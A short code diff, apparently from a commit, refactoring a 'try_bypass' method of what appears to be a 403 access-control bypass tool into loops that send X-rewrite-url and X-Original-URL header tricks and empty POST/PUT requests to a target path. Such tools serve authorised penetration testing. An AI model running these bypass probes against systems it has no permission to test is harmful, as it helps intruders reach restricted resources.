@@ -83,23 +83,16 @@ def try_bypass(self) -> dict:
8383 scode , size = self .send_request ("GET" , original_path , headers = headers )
8484 results [scode ].append (f"size { size } \t \t GET { original_path } -H { header } : { host_nickname } " )
8585
86- req_path = f"{ self .target_url } "
87- headers = {"X-rewrite-url" : self .target_keyword }
88- scode , size = self .send_request ("GET" , req_path , headers = headers )
89- results [scode ].append (f"size { size } \t \t GET { req_path } -H 'X-rewrite-url: { self .target_keyword } '" )
90-
91- req_path = f"{ self .target_url } "
92- headers = {"X-Original-URL" : self .target_keyword }
93- scode , size = self .send_request ("GET" , req_path , headers = headers )
94- results [scode ].append (f"size { size } \t \t GET { req_path } -H 'X-Original-URL: { self .target_keyword } '" )
95-
96- headers = {"Content-Length" : "0" }
97- scode , size = self .send_request ("POST" , original_path , headers = headers )
98- results [scode ].append (f"size { size } \t \t POST { original_path } -H 'Content-Length: 0'" )
99-
100- headers = {"Content-Length" : "0" }
101- scode , size = self .send_request ("PUT" , original_path , headers = headers )
102- results [scode ].append (f"size { size } \t \t PUT { original_path } -H 'Content-Length: 0'" )
86+ for header in ["X-rewrite-url" , "X-Original-URL" ]:
87+ req_path = f"{ self .target_url } "
88+ headers = {header : self .target_keyword }
89+ scode , size = self .send_request ("GET" , req_path , headers = headers )
90+ results [scode ].append (f"size { size } \t \t GET { req_path } -H '{ header } : { self .target_keyword } '" )
91+
92+ for method in ["POST" , "PUT" ]:
93+ headers = {"Content-Length" : "0" }
94+ scode , size = self .send_request (method , original_path , headers = headers )
95+ results [scode ].append (f"size { size } \t \t { method } { original_path } -H 'Content-Length: 0'" )
10396
10497 return results
10598
0 commit comments